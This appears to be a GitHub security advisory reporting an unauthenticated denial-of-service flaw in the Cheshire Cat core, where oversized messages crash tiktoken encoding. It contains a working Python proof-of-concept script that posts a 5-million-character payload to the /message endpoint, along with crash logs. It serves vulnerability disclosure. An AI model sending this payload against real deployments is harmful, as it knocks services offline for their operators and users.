Skip to content

[Security] Unauthenticated Denial of Service (DoS) via Oversized Message Payload in tiktoken Encoding #219

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Unauthenticated Denial of Service (DoS) via Oversized Message Payload in tiktoken Encoding

Description:

Summary

An uncontrolled resource consumption vulnerability in Cheshire Cat allows an unauthenticated attacker to cause a complete Denial of Service (DoS). By sending an excessively long chat message to the /message endpoint, the attacker can trigger a RuntimeError(StackOverflow) in the underlying Rust-based tiktoken library, which crashes the backend worker immediately.

Details

When the application processes an incoming user message, it navigates through stray_cat.py. During the memory recall phase (recall_relevant_memories_to_working_memory), it attempts to record the token length of the input query for model interaction logging.

# In core/cat/looking_glass/stray_cat.py
self.working_memory.model_interactions.append(
    EmbedderModelInteraction(
        ...
        input_tokens=len(tiktoken.get_encoding("cl100k_base").encode(recall_query)),
    )
)

Because the user_message_json.text (assigned to recall_query) is never truncated or limited in size, an attacker can supply an arbitrarily large string (e.g., 5,000,000 characters). The underlying tiktoken library, written in Rust, imposes a stack depth limit during parsing. When passed this massive payload, the Rust code panics with StackOverflow, emitting a fatal exception that completely terminates the Python FastAPI worker process serving the request.

PoC

  1. Start the Cheshire Cat core application on its default port (1865).
  2. Construct a malicious JSON payload with 5,000,000 characters and send it to the /message endpoint via a standard HTTP POST request.
  3. Observe the server drop the connection, return a 500 error, and the worker process crash.

Run this simple Python snippet to trigger the DoS:

import requests

URL = "http://localhost:1865/message"
malicious_text = "A" * 5_000_000

headers = {"Content-Type": "application/json"}
data = {"text": malicious_text}

try:
    requests.post(URL, json=data, headers=headers, timeout=5)
except requests.exceptions.ConnectionError:
    print("Connection dropped, worker has crashed.")

Log of Evidence

pyo3_runtime.PanicException: called `Result::unwrap()` on an `Err` value: RuntimeError(StackOverflow)
thread '<unnamed>' panicked at src/lib.rs:227:33:
called `Result::unwrap()` on an `Err` value: RuntimeError(StackOverflow)
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  ...
  File "/app/cat/looking_glass/stray_cat.py", line 492, in __call__
    self.recall_relevant_memories_to_working_memory()
  File "/app/cat/looking_glass/stray_cat.py", line 311, in recall_relevant_memories_to_working_memory
    input_tokens=len(tiktoken.get_encoding("cl100k_base").encode(recall_query)),
  File "/usr/local/lib/python3.10/site-packages/tiktoken/core.py", line 124, in encode
    return self._core_bpe.encode(text, allowed_special)
pyo3_runtime.PanicException: called `Result::unwrap()` on an `Err` value: RuntimeError(StackOverflow)
INFO:     192.168.64.1:36790 - "POST /message HTTP/1.1" 500 Internal Server Error

Impact

This is a Denial of Service (DoS) vulnerability. Any unauthenticated attacker capable of reaching the external API endpoint can trivially crash backend workers with a single HTTP request. Repeated requests will continuously terminate containerized instances or exhaust system resources, leading to prolonged application downtime.

Affected products

  • Ecosystem: python
  • Package name: cheshire_cat_core
  • Affected versions: <= latest (varies; impacts builds without MAX_TEXT_INPUT checks on stray_cat.py)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)

Weaknesses

  • CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink Description
core/cat/looking_glass/stray_cat.py (around line 311) The recall_relevant_memories_to_working_memory method calls tiktoken.get_encoding().encode() on untruncated user data.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions